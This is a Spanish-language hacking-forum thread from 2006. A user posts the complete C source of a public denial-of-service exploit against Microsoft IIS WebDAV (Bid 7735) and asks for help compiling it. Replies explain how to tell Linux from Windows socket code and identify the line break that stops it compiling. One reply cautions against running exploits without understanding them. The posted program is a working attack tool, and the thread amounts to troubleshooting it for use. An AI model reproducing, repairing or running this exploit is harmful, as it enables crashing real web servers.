elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 09:08  


Tema destacado: Suscripción al boletín mensual de elhacker.net

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Compilar y ejecutar exploits Windows? Linux?
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Compilar y ejecutar exploits Windows? Linux?  (Leído 4,524 veces)
prosi21

Desconectado Desconectado

Mensajes: 11


Ver Perfil
Compilar y ejecutar exploits Windows? Linux?
« en: 30 Marzo 2006, 12:40 »

Muy buenas, hacia tiempo que no posteaba pero aki va algo que ya me tiene loco y corrijanme si me equivoco, despues de encontrar una vulnerabilidad y documentarme sobre algun exploit sobre ello, supongo que como la gran mayoria tiraremos de securityfocus por ejemplo a su sección de exploits, es conocido que la mayoria de estos exploits no estan 100% efectivos ya que la gente (como yo) o como muchos de nosotros que no sabemos 100% de c o hace mucho tiempo que no lo tocamos como es mi caso, los utilizarian de forma indiscriminada, estos exploits estan mezclados, que quiero decir con ello? que algunos puedes ser compilados en windows desde vc por ejemplo y despues de corregir el pequeño error puntual que pueda tener ya lo tenemos lissto para funcionar, pero tambien existen los que solo pueden ser compilados por linux, creo que en la gran mayoria son los de sys\socket.h, corrijanme si me equivoco, hay alguna forma de saber si son compilable para linux o windows? y por ultimo, alquien puede decirme si ve algo raro en este exploit me estoy volviendo loco y parece ser que hay un problema en la funcion void screw_iis(); y no se verlo ..... una ayudita?

Código:
/*
IIS eXploit. by velan. Greetz to: Shashank Pandey a.k.a +(Neo1)+
Bid:  7735
*/

#define ERROR -1
#define OK 1

#ifdef HAVE_CONFIG_H
#include <config.h>
#endif

#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>

int check_for_iis();
void screw_iis();
void usage();

char IP[15];

int main(int argc, char *argv[])
{
/*  cout << "Hello, World!" << endl;  */

   if(argc !=2)
   {
      usage();  exit(0);
   }

   printf("IIS eXploit. by velan. Greetz to: Shashank Pandey a.k.a +(Neo1)+\n");

   strcpy(IP, argv[1]);

   if(check_for_iis() != OK)
   {
      printf("Sorry, BAD LUCK! \n");    exit(0);
   }

   screw_iis();

  return EXIT_SUCCESS;
}

int check_for_iis()
{
  int sck, flag = 1;
  struct sockaddr_in sin;
  char req[50];

  sck = socket(AF_INET, SOCK_STREAM, 0);
  if(sck == ERROR)
  {
    perror("Socket error ");      exit(0);
  }

  sin.sin_port = htons(80);
  sin.sin_family = AF_INET;
  sin.sin_addr.s_addr = inet_addr(IP);

  if ((connect(sck, (struct sockaddr *) &sin, sizeof(sin))) == -1)
  {
    perror("Connect Error ");     exit(0);
  }

  strcpy(req, "GET / HTTP/1.0\r\n\n");
  send(sck, req, sizeof(req), 0);
  recv(sck, req, sizeof(req), 0);

  if (strstr(req,"IIS") == NULL)
  {
    printf(" Not an IIS server! \n");
    flag = 0;
  }

  sprintf(req,"SEARCH / HTTP/1.0\r\n\n",40);
  send(sck, req, sizeof(req), 0);
  recv(sck, req, sizeof(req), 0);

  if (strstr(req,"HTTP/1.1 411 Length Required") == NULL)
  {
    printf("METHOD SEARCH NOT ALLOWED. \n");
    flag = 0;
  }

  return(flag);
}



void screw_iis()
{
  int sck, flag = 1;
  struct sockaddr_in sin;
  char junk[100];
  char buffer[65535] ="";
  char request[80000];
  char content[] =
           "<?xml version=\"1.0\"?>\r\n"
           "<g:searchrequest xmlns:g=\"DAV:\">\r\n"
           "<g:sql>\r\n"
           "Select \"DAV:displayname\" from scope()\r\n"
           "</g:sql>\r\n"
           "</g:searchrequest>\r\n";


  sck = socket(AF_INET, SOCK_STREAM, 0);
  if(sck == ERROR)
  {
    perror("Socket error ");      exit(0);
  }

  sin.sin_port = htons(80);
  sin.sin_family = AF_INET;
  sin.sin_addr.s_addr = inet_addr(IP);

  if ((connect(sck, (struct sockaddr *) &sin, sizeof(sin))) == -1)
  {
    perror("Connect Error ");     exit(0);
  }

  buffer[sizeof(buffer)]=0x00;

  memset(buffer,'S',sizeof(buffer));
  memset(request,0,sizeof(request));
  memset(junk,0,sizeof(junk));

  sprintf(request,"SEARCH /%s HTTP/1.1\r\nHost: %s\r\nContent-type: text/xml\r\nCon
tent-Length: ",buffer,IP);
  sprintf(request,"%s%d\r\n\r\n",request,strlen(content));

  printf("\r\nScrewing the server... \n");

  send(sck,request,strlen(request),0);

  send(sck,content,strlen(content),0);

  recv(sck,junk,sizeof(junk),0);

  if(junk[0]==0x00)
  {
     printf("Server is Screwed! \r\n");
  }
  else
  {
      printf("BAD LUCK. Patched.\n");
  }
}



void usage()
{
  printf("IIS eXploit. by velan. Greetz to: Shashank Pandey a.k.a +(Neo1)+\n");
  printf("Usage\r\n");
  printf("Screw_IIS <victim IP>\n");
}

En línea
Manibal_man


Desconectado Desconectado

Mensajes: 528



Ver Perfil
Re: Compilar y ejecutar exploits Windows? Linux?
« Respuesta #1 en: 30 Marzo 2006, 14:23 »

Es para linux... basicamente te das cuenta viendo los headers que incluye... si es un exploit remoto tiene que usar sockets... y para eso windows necesita "windows.h" (que no está), y linux necesita <sys/socket.h> entre otras, que si está.

Te falto decir que compilador usaste, que OS, y que errores obtenes, datos indispensables para hacer una consulta de este tipo...

Saludos
En línea

:: I was born ready motha fucka ::
/* strcpy() */


Desconectado Desconectado

Mensajes: 367


FLEMA - The Ramones - Sex Pistols


Ver Perfil WWW
Re: Compilar y ejecutar exploits Windows? Linux?
« Respuesta #2 en: 30 Marzo 2006, 14:34 »

Es facilmente compilable en windows usando el gcc de cygwin
como se hace para meterle eso en la cabeza de la gente ¿? =P
Saludos
En línea

Sigo asi
Soy feliz
yo elegí
Sexo, Drogas y PunkRock
Manibal_man


Desconectado Desconectado

Mensajes: 528



Ver Perfil
Re: Compilar y ejecutar exploits Windows? Linux?
« Respuesta #3 en: 30 Marzo 2006, 14:50 »

Citar
Es facilmente compilable en windows usando el gcc de cygwin
como se hace para meterle eso en la cabeza de la gente ¿? =P
Saludos

El tema es que prosi21 pregunto como se daba cuenta de si era para uno o para otro OS... eso es lo que contesté (no creo buena manera de averiguarlo "probando"... es efectiva, pero implica 0 conocimiento)

Creo que su prolema no pasa por "no tener un linux" sino saber "como identificarlo".

Saludos
En línea

:: I was born ready motha fucka ::
MazarD
Colaborador
***
Desconectado Desconectado

Mensajes: 880


mazard.info


Ver Perfil WWW
Re: Compilar y ejecutar exploits Windows? Linux?
« Respuesta #4 en: 30 Marzo 2006, 15:24 »

Citar
no creo buena manera de averiguarlo "probando"... es efectiva, pero implica 0 conocimiento
Cuanta razón tienes ahí.

Pero, mas que el windows.h sería necesario el link a w2_32, vale que para pasar el puerto a orden de red necesitaras el htons o el gethostbyname definidos en windows.h pero no sería estrictamente necesario para el uso de sockets.
Además en el caso concreto como todo es ansi c y cómo el uso de sockets es exactamente igual en ambos, para compilar este código en windows sólo necesitarias cambiar las cabezeras o incluso poner algunas sentencias de preprocesador para que compilara en los dos sistemas.

Un saludo.
En línea

-Learn as if you were to live forever, live as if you were to die tomorrow-

http://www.mazard.info
http://twitter.com/MazarD
irc://irc.freenode.org/elhacker.net
Manibal_man


Desconectado Desconectado

Mensajes: 528



Ver Perfil
Re: Compilar y ejecutar exploits Windows? Linux?
« Respuesta #5 en: 30 Marzo 2006, 15:35 »

Citar
Pero, mas que el windows.h sería necesario el link a w2_32, vale que para pasar el puerto a orden de red necesitaras el htons o el gethostbyname definidos en windows.h pero no sería estrictamente necesario para el uso de sockets.

Exactamente, use windows.h en vez de w2_32 porque no queria limitarme al tema de sockets.. convengamos que los exploits no son solo exploits remotos y usar el ejemplo que nombras seria mucho mas parcial... por eso nombre a windows.h que considerablemente mas aplicable al grueso de los exploits en win.

Saludos
En línea

:: I was born ready motha fucka ::
prosi21

Desconectado Desconectado

Mensajes: 11


Ver Perfil
Re: Compilar y ejecutar exploits Windows? Linux?
« Respuesta #6 en: 30 Marzo 2006, 18:21 »

muy buenas, efectivamente el tema de las librerias si pertene un exploit a un sistema de compilacion u otro esta claro  ;D alguien pude ver porque me falla el exploit posteado? lo compile de linux con gcc nombre.c -o nombre aunque probe varios formas, yo creo que el codigo tiene algun error. Alguien probo algun compilador de linux (gcc) para windows?
En línea
Manibal_man


Desconectado Desconectado

Mensajes: 528



Ver Perfil
Re: Compilar y ejecutar exploits Windows? Linux?
« Respuesta #7 en: 30 Marzo 2006, 18:30 »

muy buenas, efectivamente el tema de las librerias si pertene un exploit a un sistema de compilacion u otro esta claro  ;D alguien pude ver porque me falla el exploit posteado? lo compile de linux con gcc nombre.c -o nombre aunque probe varios formas, yo creo que el codigo tiene algun error. Alguien probo algun compilador de linux (gcc) para windows?


Citar
Te falto decir que compilador usaste, que OS, y que errores obtenes, datos indispensables para hacer una consulta de este tipo...
En línea

:: I was born ready motha fucka ::
prosi21

Desconectado Desconectado

Mensajes: 11


Ver Perfil
Re: Compilar y ejecutar exploits Windows? Linux?
« Respuesta #8 en: 30 Marzo 2006, 19:23 »

no se posteo del todo antes, ahora estoy en el trabajo a ver si me acuerdo mmmm creo que es la version gcc de knopix la version 3.3 en realidad el error comentaba algo sobre que en la funcion screw_iis no encontraba un limitador, señalando algo en la funcion y el limitador
Código:
'''
, alguna idea?
En línea
Manibal_man


Desconectado Desconectado

Mensajes: 528



Ver Perfil
Re: Compilar y ejecutar exploits Windows? Linux?
« Respuesta #9 en: 30 Marzo 2006, 20:10 »

no se posteo del todo antes, ahora estoy en el trabajo a ver si me acuerdo mmmm creo que es la version gcc de knopix la version 3.3 en realidad el error comentaba algo sobre que en la funcion screw_iis no encontraba un limitador, señalando algo en la funcion y el limitador
Código:
'''
, alguna idea?

No tiene ningun error el code, compila perfectamente, lo unico que se me ocurre es que al copiar y pegar no hayas tenido en cuenta esta parte:
Código:
  sprintf(request,"SEARCH /%s HTTP/1.1\r\nHost: %s\r\nContent-type: text/xml\r\nCon
tent-Length: ",buffer,IP);
  sprintf(request,"%s%d\r\n\r\n",request,strlen(content));

Que se te separo en 2 lineas la linea de sprintf, entonces daria varios errores, entre ellos que falta el caracter de cierre " (missing terminating " character), y claro, todos en la funcion screw_iis().

Igualmente, en mi opinion no tiene sentido usar exploits si no tenes algun minimo conocimiento de lo que esta pasando, o del lenguaje en el que esta hecho el exploit... eso solo descargar un programa que hizo alguien y "vaya a saber uno como" conseguir una shell en una maquina ajena... no tiene merito alguno ni enseña nada, te invito a pasar por el foro de programacion C/C++ para introducirte en el area y adquirir conocimientos que realmente sirven.

Saludos
En línea

:: I was born ready motha fucka ::
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
como compilar c/c++ en windows
Programación C/C++
manu801004 4 1,817 Último mensaje 23 Octubre 2010, 22:09
por manu801004
Como podria compilar este exploits?
Bugs y Exploits
Megan 5 1,662 Último mensaje 21 Agosto 2011, 16:47
por Ivanchuk
exploits para AUTO ejecutar .exe
Bugs y Exploits
SixToex (Agares) 3 1,316 Último mensaje 5 Diciembre 2011, 09:48
por SixToex (Agares)
sera que no puedo executar exploits en linux por la version gcc?
Bugs y Exploits
Belial & Grimoire 0 41 Último mensaje 10 Mayo 2012, 20:31
por Belial & Grimoire
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines